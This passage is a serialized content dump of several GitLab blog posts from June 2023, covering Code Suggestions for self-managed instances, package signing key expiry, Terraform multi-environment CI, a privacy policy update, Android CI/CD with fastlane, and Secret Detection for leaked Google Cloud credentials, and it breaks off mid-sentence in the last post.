Available","en-us/blog/gitlab-dedicated-available.yml","en-us/blog/gitlab-dedicated-available",{"_path":9717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9718,"content":9723,"config":9727,"_id":9729,"_type":16,"title":9730,"_source":17,"_file":9731,"_stem":9732,"_extension":20},"/en-us/blog/self-managed-support-for-code-suggestions",{"title":9719,"description":9720,"ogTitle":9719,"ogDescription":9720,"noIndex":6,"ogImage":8601,"ogUrl":9721,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9721,"schema":9722},"Self-managed support for Code Suggestions (Beta)","Self-managed support for Code Suggestions (Beta) is coming in GitLab 16.1.","https://about.gitlab.com/blog/self-managed-support-for-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Self-managed support for Code Suggestions (Beta)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Roger Woo\"}],\n        \"datePublished\": \"2023-06-15\",\n      }",{"title":9719,"description":9720,"authors":9724,"heroImage":8601,"date":9707,"body":9725,"category":791,"tags":9726},[2681],"\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nGitLab [Code Suggestions (Beta)](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html) uses generative AI to suggest code while you’re developing. Since introduction in GitLab SaaS with 15.9, we've heard self-managed customers have wanted to use the feature. We're now bringing Code Suggestions to self-managed instances beginning with GitLab 16.1 (expected to be released June 22). Self-managed users working with VS Code or GitLab’s WebIDE can now receive code suggestions to help accelerate your development efforts while you type.\n\n## How does Code Suggestions work?\nA self-managed instance administrator must enable Code Suggestions on behalf of an organization's entire instance. Once enabled, users of that self-managed instance can authenticate their IDE to GitLab.com infrastructure using a secure handshake with the user's self-managed instance. As users type in their IDE, a context window containing relevant source code is securely transmitted to GitLab’s infrastructure, which will return an AI-generated code suggestion. GitLab does not have any visibility into a self-managed customer’s code other than what is sent to generate the Code Suggestion. GitLab does not persist any customer code sent in that context window nor train on customer data.\n\nIn this video, Senior Backend Engineer [Nikola Milojevic](https://gitlab.com/nmilojevic1) demonstrates how to set up and configure GitLab’s Code Suggestions for self-managed users on VS Code.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/-A4amG3E49Y\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## How Code Suggestions uses data\nGitLab is mindful of privacy when we design our AI-powered features. With Code Suggestions, we securely transmit the data needed to generate a code suggestion, and we process all personal data in accordance with our [privacy statement](https://about.gitlab.com/privacy/). Our VS Code Workflow extension will securely transmit a minimal amount of data required to generate a code suggestion. GitLab does not receive any information outside of an IDE’s context. Read more about [Code Suggestions data usage](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#data-privacy).\n\n## Try Code Suggestions\nWe will be provisioning access on a customer-by-customer basis for this initial iteration of GitLab Code Suggestions (Beta) on self-managed instances. Please leave a note in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/415393) tagging your Customer Success Manager for help with enabling Code Suggestions once your instance is ready.\n\nCode Suggestions for self-managed instances will require GitLab 16.1. Customers may try Code Suggestions either via GitLab’s WebIDE or VS Code’s GitLab Workflow Extension (version [3.67+](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow&ssr=false#version-history)).\n\n## Iterating on AI/ML features\nThis is just the start of the ways we're infusing GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":9728,"featured":6,"template":678},"self-managed-support-for-code-suggestions","content:en-us:blog:self-managed-support-for-code-suggestions.yml","Self Managed Support For Code Suggestions","en-us/blog/self-managed-support-for-code-suggestions.yml","en-us/blog/self-managed-support-for-code-suggestions",{"_path":9734,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9735,"content":9740,"config":9746,"_id":9748,"_type":16,"title":9749,"_source":17,"_file":9750,"_stem":9751,"_extension":20},"/en-us/blog/gitlab-extends-omnibus-package-signing-key-expiration",{"title":9736,"description":9737,"ogTitle":9736,"ogDescription":9737,"noIndex":6,"ogImage":8246,"ogUrl":9738,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9738,"schema":9739},"GitLab extends Omnibus package signing key expiration to 2024","Our GPG key will now expire on July 1, 2024. Here's what you need to know.","https://about.gitlab.com/blog/gitlab-extends-omnibus-package-signing-key-expiration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab extends Omnibus package signing key expiration to 2024\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"João Alexandre Prado Tavares Cunha\"}],\n        \"datePublished\": \"2023-06-14\",\n      }",{"title":9736,"description":9737,"authors":9741,"heroImage":8246,"date":9743,"body":9744,"category":736,"tags":9745},[9742],"João Alexandre Prado Tavares Cunha","2023-06-14","\n\nGitLab uses a GNU Privacy Guard (GPG) key to sign all Omnibus packages created within the CI pipelines to ensure that the packages have not been tampered with. This key is separate from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. The Omnibus package signing key, which is set to expire on July 1, 2023, will be extended to expire on July 1, 2024.\n\n## Why are we extending the deadline?\nThe Omnibus package signing key's expiration is extended each year to comply with GitLab security policies and to limit the exposure should the key become compromised. The key's expiration is extended instead of rotating to a new key to be less disruptive for users who do verify package integrity checks prior to installing the package.\n\n## What do I need to do?\nThe only action that needs to be taken is to update your copy of the package signing key _if_ you validate the signatures on the Omnibus packages that GitLab distributes.\n\nThe package signing key is not the key that signs the repository metadata used by the OS package managers like `apt` or `yum`. Unless you are specifically verifying the package signatures or have configured your package manager to verify the package signatures, there is no action needed on your part to continue installing Omnibus packages.\n\nMore information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures)\nis available in the Omnibus documentation. If you just need to refresh a copy\nof the public key, then you can find it on any of the GPG keyservers by\nsearching for support@gitlab.com or using the key ID of\n`DBEF 8977 4DDB 9EB3 7D9F  C3A0 3CFC F9BA F27E AB47.` Alternatively you could\ndownload it directly from packages.gitlab.com using the URL:\n\n    https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-3D645A26AB9FBD22.pub.gpg\n\n## What do I do if I still have problems?\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).\n",[674,1464,1444,736],{"slug":9747,"featured":6,"template":678},"gitlab-extends-omnibus-package-signing-key-expiration","content:en-us:blog:gitlab-extends-omnibus-package-signing-key-expiration.yml","Gitlab Extends Omnibus Package Signing Key Expiration","en-us/blog/gitlab-extends-omnibus-package-signing-key-expiration.yml","en-us/blog/gitlab-extends-omnibus-package-signing-key-expiration",{"_path":9753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9754,"content":9760,"config":9764,"_id":9766,"_type":16,"title":9767,"_source":17,"_file":9768,"_stem":9769,"_extension":20},"/en-us/blog/managing-multiple-environments-with-terraform-and-gitlab-ci",{"title":9755,"description":9756,"ogTitle":9755,"ogDescription":9756,"noIndex":6,"ogImage":9757,"ogUrl":9758,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9758,"schema":9759},"Managing multiple environments with Terraform and GitLab CI","This tutorial shows how to set up and manage three different environments in one project using GitLab CI and Terraform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663779/Blog/Hero%20Images/cicd-2018_blogimage.jpg","https://about.gitlab.com/blog/managing-multiple-environments-with-terraform-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Managing multiple environments with Terraform and GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sophia Manicor\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2023-06-14\",\n      }",{"title":9755,"description":9756,"authors":9761,"heroImage":9757,"date":9743,"body":9762,"category":674,"tags":9763},[3927,2621],"\n\nUsing multiple environments ensures that your infrastructure as code (IaC) is rigorously tested before it is deployed. This tutorial will show a setup of how to manage **three different environments in one project** using GitLab CI and Terraform.\n\n## Prerequisites\n- Working knowledge of [GitLab CI/CD](https://docs.gitlab.com/ee/ci/introduction/index.html#continuous-integration)\n- An AWS / GCP account (where you will deploy to)\n- Working knowledge of Terraform\n- 5 minutes\n\n## Multiple environments\nIn this tutorial, we have three environments set up: dev, staging, and production.\n- Dev: This should be where all the experimental changes go. This environment is intended to develop new features and/or test out new changes.\n- Staging: After you have confirmed your changes in dev, this environment should have parity with the production environment.\n- Production: This environment has the latest versions of infrastructure and applications are live.\n\n## File structure\nFor each environment we set up a corresponding folder at the root level: folders are named dev, staging, and production respectively. Each folder stores all the Terraform infrastructure configuration for the corresponding environment. Within each of these folders, we created a CI file for that environment. \n\n## .gitlab-ci.yml\n\n### Environment-specific .gitlab-ci.yml\nThe file below is for the dev environment and is in the dev folder. Note that there is a rule with each job that only allows the jobs to run when a file in the dev folder is changed. There is a corresponding file in the staging and production folders that has the same rules to only allow jobs when those specific folders are changed. To keep each CI file running the same jobs we have made use of a helper file. \n\n[Environment-specific GitLab CI](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/dev/.gitlab-ci.yml)\n\n```yaml\ninclude:\n  - 'helper.yml'\n\nvariables:\n  TF_ROOT: ./dev  # The relative path to the root directory of the Terraform project\n  TF_STATE_NAME: default      # The name of the state file used by the GitLab-managed Terraform state backend\n  SECURE_ANALYZERS_PREFIX: \"$CI_TEMPLATE_REGISTRY_HOST/security-products\"\n  SAST_IMAGE_SUFFIX: \"\"\n  SAST_EXCLUDED_PATHS: \"spec, test, tests, tmp\"\n  PLAN: plan.cache\n  PLAN_JSON: plan.json\n\n\ncache:\n  key: \"${TF_ROOT}\"\n  paths:\n    - ${TF_ROOT}/.terraform/\n\nfmt-dev:\n  extends: .fmt\n  rules:\n      - changes:\n          - dev/**/*\n\nvalidate-dev:\n  extends: .validate\n  rules:\n      - changes:\n          - dev/**/*\n\nbuild-dev:\n  extends: .build\n  rules:\n      - changes:\n          - dev/**/*\n\nkics-iac-sast-dev:\n  extends: .kics-iac-sast\n  rules:\n      - changes:\n          - dev/**/*\n\ndeploy-dev:\n  extends: .deploy\n  rules:\n      - changes:\n          - dev/**/*\n\ndestroy-dev:\n  extends: .destroy\n  rules:\n      - changes:\n          - dev/**/*\n\n```\n\n### helper.yml\nThis helper file was created at the root level so that it could be referenced by all of the environment-specific files. The [helper.yml](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/helper.yml) is where all the heavy lifting is happening. This will make sure that all the jobs throughout the environment-specific file's configuration stays up to date and consistent. In the environment-specific files we 'included' the helper file and extended the jobs outlined below.\n\n```yaml\n\n.fmt:\n  stage: validate\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform fmt\n  allow_failure: true\n\n\n.validate:\n  stage: validate\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform validate\n\n\n.build:\n  stage: build\n  before_script:\n    - apk --no-cache add jq\n    - alias convert_report=\"jq -r '([.resource_changes[]?.change.actions?]|flatten)|{\\\"create\\\":(map(select(.==\\\"create\\\"))|length),\\\"update\\\":(map(select(.==\\\"update\\\"))|length),\\\"delete\\\":(map(select(.==\\\"delete\\\"))|length)}'\"\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform plan -out=$PLAN\n    - gitlab-terraform plan-json | convert_report > $PLAN_JSON\n  resource_group: ${TF_STATE_NAME}\n  artifacts:\n    paths:\n      - ${TF_ROOT}/plan.cache\n    reports:\n      terraform: ${TF_ROOT}/$PLAN_JSON\n\n.kics-iac-sast:\n  stage: test\n  artifacts:\n    reports:\n      sast: gl-sast-report.json\n  image:\n    name: \"$SAST_ANALYZER_IMAGE\"\n  variables:\n    SEARCH_MAX_DEPTH: 4\n    SAST_ANALYZER_IMAGE_TAG: 3\n    SAST_ANALYZER_IMAGE: \"$SECURE_ANALYZERS_PREFIX/kics:$SAST_ANALYZER_IMAGE_TAG$SAST_IMAGE_SUFFIX\"\n  allow_failure: true\n  script:\n    - /analyzer run\n\n\n.deploy:\n  stage: deploy\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform apply\n  resource_group: ${TF_STATE_NAME}\n  when: manual\n  rules:\n      - changes:\n          - ${TF_ENVIRONMENT}/**/*\n\n.destroy:\n  stage: cleanup\n  script:\n    - cd \"${TF_ROOT}\"\n    - gitlab-terraform destroy\n  resource_group: ${TF_STATE_NAME}\n  when: manual\n\n```\n\n### Root-level .gitlab-ci.yml\n[Root-level GitLab CI](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/.gitlab-ci.yml)\n\nThe file that brings everything above together is the root-level CI file. This will be what the pipeline initially references when run. The [root-level GitLab CI](https://gitlab.com/demos/infrastructure/terraform-multi-env/-/blob/main/.gitlab-ci.yml) is where all of the stages and container images are defined. Note that they are inheriting `.gitlab-ci.yml` from each of the individual folders themselves.\n\n```yaml\ninclude:\n  - 'dev/.gitlab-ci.yml'\n  - 'staging/.gitlab-ci.yml'\n  - 'production/.gitlab-ci.yml'\n  \nimage:\n  name: \"$CI_TEMPLATE_REGISTRY_HOST/gitlab-org/terraform-images/releases/1.1:v0.43.0\"\n\nstages:          \n  - validate\n  - build\n  - test\n  - deploy\n  - cleanup\n\nvariables:\n  # If not using GitLab's HTTP backend, remove this line and specify TF_HTTP_* variables\n  TF_STATE_NAME: default\n  TF_CACHE_KEY: default\n\n```\n\n## Merge request + promotion through environments\nWith the project set up and GitLab CI’s triggering only based off changes to the individual environment folders, you can now safely promote changes using merge requests. When you want to make a change:\n1. First create a merge request in the dev environment with your *.tf files.\n2. Review the [Terraform integration in merge requests](https://docs.gitlab.com/ee/user/infrastructure/iac/mr_integration.html) to see X changes, X to Add, and X to Remove.\n3. If your changes are as expected, request your team members to review the changes and Terraform code.\n4. Apply the changes to your dev environment and merge in the merge request.\n5. If everything worked as intended, then make the same merge up into the staging environment.\n6. If the staging environment remains stable, make a merge request up into the production environment.\n\n\n## Results\nVoila, and there you have it! **A single project to manage three different infrastructure environments** in a safe way to ensure that your changes to production are tested, reviewed, and approved by the rest of your team members.\n\n",[4103,1384,943,674],{"slug":9765,"featured":6,"template":678},"managing-multiple-environments-with-terraform-and-gitlab-ci","content:en-us:blog:managing-multiple-environments-with-terraform-and-gitlab-ci.yml","Managing Multiple Environments With Terraform And Gitlab Ci","en-us/blog/managing-multiple-environments-with-terraform-and-gitlab-ci.yml","en-us/blog/managing-multiple-environments-with-terraform-and-gitlab-ci",{"_path":9771,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9772,"content":9777,"config":9780,"_id":9782,"_type":16,"title":9783,"_source":17,"_file":9784,"_stem":9785,"_extension":20},"/en-us/blog/our-privacy-policy-has-been-updated",{"title":9773,"description":9774,"ogTitle":9773,"ogDescription":9774,"noIndex":6,"ogImage":6704,"ogUrl":9775,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9775,"schema":9776},"Our Privacy Policy has been updated","Our updated Privacy Policy clarifies our existing data processing activities.","https://about.gitlab.com/blog/our-privacy-policy-has-been-updated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our Privacy Policy has been updated\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2023-06-14\",\n      }",{"title":9773,"description":9774,"authors":9778,"heroImage":6704,"date":9743,"body":9779,"category":299},[711],"As part of our commitment to keeping our policies current, we made some updates to our [Privacy Policy](/privacy/) on June 14, 2022.  These updates are intended to clarify our existing data processing activities and to provide information on processing that may derive from new features.  Through this update, we continue to provide transparency to our data processing activities, in line with an evolving privacy landscape.  Specifically, these policy updates include the following:\n\n- Clarification about which processing activities apply to each respective GitLab product;\n- Information about when personal data may be collected to verify someone’s identity to enable certain product features;\n- Clarification about what personal data is collected to provide a license and maintain a subscription; \n- Additional information regarding our Service Usage data collection practices, and the inclusion of certain processing activities, such as Event Analytics and Call Recordings;\n- Additional information regarding the purposes for which personal data is collected;\n- Minor updates regarding our legal basis for processing your personal data in the European Union; \n- Updates to our data retention practices for inactive accounts; \n- Clarification about how to delete your personal data at GitLab and how deletion is effectuated for public projects; \n- An additional notice that details our processing and your rights under the California Consumer Privacy Act, including CCPA metrics reporting;\n\nOverall, we believe that these updates will empower our users to make informed decisions about their personal data.  Please visit the complete text of our Privacy Policy and [Cookie Policy](/privacy/cookies/) to learn more about how GitLab processes personal data and your rights and choices regarding such processing.\n",{"slug":9781,"featured":6,"template":678},"our-privacy-policy-has-been-updated","content:en-us:blog:our-privacy-policy-has-been-updated.yml","Our Privacy Policy Has Been Updated","en-us/blog/our-privacy-policy-has-been-updated.yml","en-us/blog/our-privacy-policy-has-been-updated",{"_path":9787,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9788,"content":9794,"config":9800,"_id":9802,"_type":16,"title":9803,"_source":17,"_file":9804,"_stem":9805,"_extension":20},"/en-us/blog/android-cicd-with-gitlab",{"title":9789,"description":9790,"ogTitle":9789,"ogDescription":9790,"noIndex":6,"ogImage":9791,"ogUrl":9792,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9792,"schema":9793},"Tutorial: Android CI/CD with GitLab","Learn how to create an automated Android CI/CD pipeline using GitLab and fastlane.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669316/Blog/Hero%20Images/angela-compagnone-4Iyg6cNU7sI-unsplash.jpg","https://about.gitlab.com/blog/android-cicd-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Android CI/CD with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darby Frey\"}],\n        \"datePublished\": \"2023-06-13\",\n      }",{"title":9789,"description":9790,"authors":9795,"heroImage":9791,"date":9797,"body":9798,"category":734,"tags":9799},[9796],"Darby Frey","2023-06-13","\n\nMention the word keystore and all Android developers in a 5km radius will suddenly have a small feeling of panic. Attempting to automate a [CI/CD](https://docs.gitlab.com/ee/ci/) pipeline to deploy an app can be frustrating, and configuring Google Play access and code signing is at the heart of the problem.\n\nBut fear not! GitLab Mobile DevOps is here to make this process easier and faster, and I am here to guide you.\n\n[GitLab Mobile DevOps](https://docs.gitlab.com/ee/ci/mobile_devops.html) is a collection of features built right into GitLab to solve the biggest challenges mobile teams face in establishing a DevOps practice.\n\nIn this blog post, I’ll demonstrate how to set up an automated CI/CD pipeline using GitLab and [fastlane](https://fastlane.tools/).\n\n## Prerequisites \nTo get started, there are a few prerequisites you’ll need:\n\n* A Google Play developer account - [https://play.google.com/console](https://play.google.com/console)\n* Ruby and Android Studio installed on your local machine [https://docs.fastlane.tools/getting-started/android/setup/](https://docs.fastlane.tools/getting-started/android/setup/)\n\n> Try your hand at the [iOS CI/CD for GitLab tutorial](https://about.gitlab.com/blog/ios-cicd-with-gitlab/)\n\n## Reference project\nFor this tutorial, we’ll use the Android demo project for reference: [https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/android_demo](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/android_demo).\n\n## Install fastlane\nIf you haven’t done so yet, the first step will be to install fastlane. Do this by creating a file in the root of your project called `Gemfile`. Give it the following contents:\n\n```ruby\nsource \"https://rubygems.org\"\n\ngem \"fastlane\"\n```\n\nThen, from the terminal in your project, run:\n\n```\nbundle install.\n```\n\nThis command will install fastlane, and all of its related dependencies.\n\n## Initialize fastlane\nNow that fastlane is installed, we can set it up for our project. Run the following command from the terminal in your project. You’ll be asked to enter your package name, so enter that. When prompted for the JSON secret file, you can skip that for now, and you can answer \"no\" to the questions about metadata management.\n\n```\nbundle exec fastlane init\n```\n\n![Initialize fastlane](https://about.gitlab.com/images/blogimages/2023-06-13-android-cicd-with-gitlab/fastlane-init.png)\n\nRunning this command will create a new folder in your project called `fastlane`. This folder will contain two files `Appfile` and `Fastfile`.\n\nThe Appfile contains the configuration information for the app, and the Fastfile has some sample code that we will replace later. See the fastlane docs for more information about the configuration details in the Appfile: [https://docs.fastlane.tools/advanced/Appfile/](https://docs.fastlane.tools/advanced/Appfile/).\n\n## Code signing\nNext are the steps for code signing.\n\n### Create a keystore\nThe next step is to create a keystore and properties files for code signing. Run the following command to generate a keystore in the project root called `release-keystore.jks`:\n\n```\nkeytool -genkey -v -keystore release-keystore.jks -storepass password -alias release -keypass password -keyalg RSA -keysize 2048 -validity 10000\n```\n\n![Create a keystore](https://about.gitlab.com/images/blogimages/2023-06-13-android-cicd-with-gitlab/keytool-genkey.png)\n\nMore information is available in the [keytool docs](https://download.java.net/java/early_access/loom/docs/specs/man/keytool.html).\n\nThe next step is to create a properties file to be used by [Gradle](https://gradle.org/_). Create a file in the project root called `release-keystore.properties`, with the following contents:\n\n```\nstoreFile=../release-keystore.jks\nkeyAlias=release\nkeyPassword=password\nstorePassword=password\n```\n\nAlso, be sure to add both files to your `.gitignore` file so they aren't committed to version control.\n\n### Configure Gradle\nNext, configure Gradle to use the newly created keystore. In the `app/build.gradle` file, add the following:\n\n**1.** Right after the plugins section, add:\n\n```\ndef keystoreProperties = new Properties()\ndef keystorePropertiesFile = rootProject.file('release-keystore.properties')\nif (keystorePropertiesFile.exists()) {\n    keystoreProperties.load(new FileInputStream(keystorePropertiesFile))\n}\n```\n\n**2.** Before Build Types, add:\n\n```\nsigningConfigs {\n    release {\n   \t keyAlias keystoreProperties['keyAlias']\n   \t keyPassword keystoreProperties['keyPassword']\n   \t storeFile keystoreProperties['storeFile'] ? file(keystoreProperties['storeFile']) : null\n   \t storePassword keystoreProperties['storePassword']\n    }\n}\n```\n\n**3.** Lastly, add the signingConfig to the release build type:\n\n```\nsigningConfig signingConfigs.release\n```\n\n## Upload keystore to GitLab secure files\nNext, upload your keystore files to GitLab so they can be used in CI/CD jobs. \n\n1. On the top bar, select **Menu > Projects** and find your project.\n1. On the left sidebar, select **Settings > CI/CD**.\n1. In the Secure Files section, select **Expand**.\n1. Select **Upload File**.\n1. Find the file to upload, select **Open**, and the file upload begins immediately. The file shows up in the list when the upload is complete.\n\nDo this for both the `release-keystore.jks` file and the `release-keystore.properties` file.\n\n![Upload Secure File](https://about.gitlab.com/images/blogimages/2023-06-13-android-cicd-with-gitlab/upload-secure-file.png)\n\n![List Secure Files](https://about.gitlab.com/images/blogimages/2023-06-13-android-cicd-with-gitlab/list-secure-files.png)\n\n## Create a CI/CD pipeline\n\nWith the configuration in place, now copy the contents of the .gitlab-ci.yml and fastlane/Fastfile below to the project.\n\nThis [.gitlab-ci.yml](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/android_demo/-/blob/main/.gitlab-ci.yml) has all the configuration needed to run the test, build, and beta jobs.\nThe [fastlane/Fastfile](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/android_demo/-/blob/main/fastlane/Fastfile) is an example that can be customized to specific project settings.\n\nNote: This fastlane configuration uses plugins. See the [docs](https://docs.fastlane.tools/plugins/using-plugins/) for instructions on how to configure your project for fastlane plugins.\n\n## Create an app in the Google Play Console\nNext, generate a build of your app locally and upload it to seed a new app entry in the Google Play Console. Run the following command locally:\n\n```\nbundle exec fastlane build\n```\n\nThis command will create a signed build of the app at\n\n```\nbuild/outputs/bundle/release/app-release.aab\n```\n\nWith the signed build ready to go, log in to the [Google Play Console](https://play.google.com/console) and create a new app and seed it with the initial build.\n\n## Configure Google Play integration\nThe last thing to set up is the Google Play integration in GitLab. To do so, first, create a Google service account.\n\n### Create a Google service account\nFollow the [instructions](https://docs.fastlane.tools/actions/supply/#setup) for setting up a service account in Google Cloud Platform and granting that account access to the project in Google Play.\n\n### Enable Google Play integration\nFollow the [instructions](https://docs.gitlab.com/ee/user/project/integrations/google_play.html) for configuring the Google Play integration by providing a package name and the JSON key file just generated for the service account.\n\nThis is a simplified CI/CD configuration that created three CI/CD jobs to run each of the lanes in fastlane on the GitLab Runners. The test and build jobs will run for all CI/CD pipelines, and the beta job will only be run on CI/CD pipelines on the main branch. The beta job is manually triggered, so you can control when the beta release is pushed to Google Play. \n\nWith these configurations in place, commit all of these changes and push them up to your project. The CI/CD pipeline will kick off, and you can see these jobs in action.\n",[4103,110,696],{"slug":9801,"featured":6,"template":678},"android-cicd-with-gitlab","content:en-us:blog:android-cicd-with-gitlab.yml","Android Cicd With Gitlab","en-us/blog/android-cicd-with-gitlab.yml","en-us/blog/android-cicd-with-gitlab",{"_path":9807,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9808,"content":9813,"config":9817,"_id":9819,"_type":16,"title":9820,"_source":17,"_file":9821,"_stem":9822,"_extension":20},"/en-us/blog/how-secret-detection-can-proactively-revoke-leaked-credentials",{"title":9809,"description":9810,"ogTitle":9809,"ogDescription":9810,"noIndex":6,"ogImage":6022,"ogUrl":9811,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9811,"schema":9812},"How Secret Detection can proactively revoke leaked credentials","GitLab extends Secret Detection capabilities to customers on Google Cloud.","https://about.gitlab.com/blog/how-secret-detection-can-proactively-revoke-leaked-credentials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Secret Detection can proactively revoke leaked credentials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Connor Gilbert\"}],\n        \"datePublished\": \"2023-06-13\",\n      }",{"title":9809,"description":9810,"authors":9814,"heroImage":6022,"date":9797,"body":9815,"category":674,"tags":9816},[4497],"\n\nModern applications don’t run on their own: They rely on databases, cloud services, APIs, and other services. To connect to those systems, the applications use credentials like private keys and API tokens. These credentials have to be kept secret – if they’re leaked, adversaries can abuse them to steal data, mine cryptocurrency, or disable important systems. Today, we’re increasing the level of protection we offer GitLab Ultimate users against this serious risk via an expansion of our partnership with Google Cloud.\n\n## How GitLab addresses this risk\n[GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) addresses the risk of leaked secrets by detecting when keys, tokens, and other sensitive values are exposed in code and helping DevSecOps teams respond. It’s imperative to respond quickly when credentials are leaked, especially for keys to cloud provider accounts, since adversaries can do a lot of damage quickly. \n\nWith our expanded partnership, we’ve integrated GitLab Secret Detection with Google Cloud to better protect customers who use GitLab to develop applications on Google Cloud. Now, if an organization leaks a Google Cloud credential to a public project on GitLab.com, GitLab can automatically protect the organization by working with Google Cloud to protect the account. This protection is available in GitLab Ultimate.\n\n## GitLab’s investment in automated response\nGitLab has added support for multiple cloud platforms with [automatic response to leaked secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html), including the [automatic revocation of GitLab Personal Access Tokens (PATs)](https://about.gitlab.com/blog/pat-revocation-coming-soon/). We’re working on more integrations now, and are always looking for more cloud service vendors seeking similar protection to join [our partner program](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html#partner-program-for-leaked-credential-notifications).\n\nWe’ve also [recently expanded](https://about.gitlab.com/releases/2023/04/22/gitlab-15-11-released/#automatic-response-to-leaked-secrets-on-any-public-branch) the places automatic responses are triggered. Secret Detection users are now protected from credential leaks as soon as they appear in any public branch on GitLab.com.\n\n## Why we’re investing here\nSecurity is better when it’s integrated throughout the software development lifecycle. GitLab’s [2023 Security Without Sacrifices report](https://about.gitlab.com/press/releases/2023-04-20-gitlab-seventh-devsecops-report-security-without-sacrifices.html) found that security is one of the top benefits of a DevSecOps platform. GitLab’s DevSecOps platform enhances secure software development by helping developers and security professionals collaborate to prevent business-critical vulnerabilities. Now, in collaboration with Google Cloud, we’re adding an additional layer of protection for our mutual customers.\n\n## Better protection for GitLab/Google Cloud customers\nGoogle Cloud users on GitLab.com are now better protected. The new integration protects projects that:\n\n* are public. Private projects are unaffected by this change.\n* are hosted on GitLab.com. Projects on GitLab Dedicated or self-managed instances are unaffected.\n* use Secret Detection. If you haven't enabled Secret Detection for a project, we currently won't search it for secrets to revoke.\n\nSecret Detection searches for three types of secrets issued by Google Cloud:\n\n1. [Service account keys](https://cloud.google.com/iam/docs/best-practices-for-managing-service-account-keys)\n2. [API keys](https://cloud.google.com/docs/authentication/api-keys)\n3. [OAuth client secrets](https://support.google.com/cloud/answer/6158849#rotate-client-secret)\n\nPublicly leaked secrets are sent to Google Cloud after they’re discovered. Google Cloud verifies the leaks, then works to protect customer accounts against abuse.\n\n## How the Google Cloud integration works\nOur Google Cloud integration is on by default for projects that use GitLab Secret Detection on GitLab.com. Secret Detection scanning is available in all GitLab tiers, but an automatic response to leaked secrets is currently [only available in Ultimate projects](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html#feature-availability).\n\n* To protect a project, [enable GitLab Secret 